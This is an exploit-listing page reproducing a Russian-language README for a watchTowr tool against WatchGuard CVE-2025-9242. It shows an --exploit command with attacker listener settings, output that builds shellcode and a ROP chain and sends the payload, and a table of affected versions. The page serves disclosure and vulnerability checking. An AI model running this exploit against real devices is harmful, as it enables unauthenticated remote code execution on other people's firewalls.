Sploitus

Exploit for watchTowr-vs-WatchGuard

CVE-2025-9242

kitploit · 2026-08-25

Exploit Code

MARKDOWN66 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WATCHTOWRLABS-WATCHTOWR-VS-WATCHGUARD-CVE-2025-9242
# watchTowr-vs-WatchGuard-CVE-2025-9242

Генератор детектирующих артефактов для WatchGuard CVE-2025-9242

https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f

См. наш пост в блоге с техническими подробностями

# Детектирование в действии

root@kitploit:~
    
    
    python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1 --lport 31337 --exploit
                             __         ___  ___________
             __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
             \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
              \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
               \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                      \/          \/     \/
    
            watchTowr-vs-WatchGuard-CVE-2025-9242.py
    
            (*) WatchGuard Unauthenticated Remote Code Execution Detection Artifact Generator
    
              - McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
    
            CVEs: [CVE-2025-9242]
    
    
    [#] Sending IKEv2 SA Init with default transform
    [#] WatchGuard Firmware Version: 12.11.3
    [#] WatchGuard Build Number: 719894
    [+] IKEv2 service is vulnerable to CVE-2025-9242 based on version number 12.11.3 < 12.11.4
    [+] Default IKEv2 service found
    [#] Verifying if IKEv2 service is vulnerable...
    [+] IKEv2 service is vulnerable to CVE-2025-9242
    [#] Building shellcode payload...
    [#] Building ROP chain...
    [#] Sending exploit payload to 192.168.56.1:31337
    

# Описание

Этот скрипт пытается определить, уязвима ли WatchGuard OS к CVE-2025-9242.

# Затронутые версии

Следующие версии WatchGuard OS затронуты:

Уязвимая версия| Исправленная версия  
---|---  
2025.1| 2025.1.1  
12.x| 12.11.4  
12.5.x (T15 и T35 модели)| 12.5.13  
  
Для получения дополнительной информации посетите WatchGuard Firebox iked Out of Bounds Write Vulnerability

# Следуйте за watchTowr Labs

За последними исследованиями в области безопасности следуйте за командой watchTowr Labs

  * https://labs.watchtowr.com/

  * https://x.com/watchtowrcyber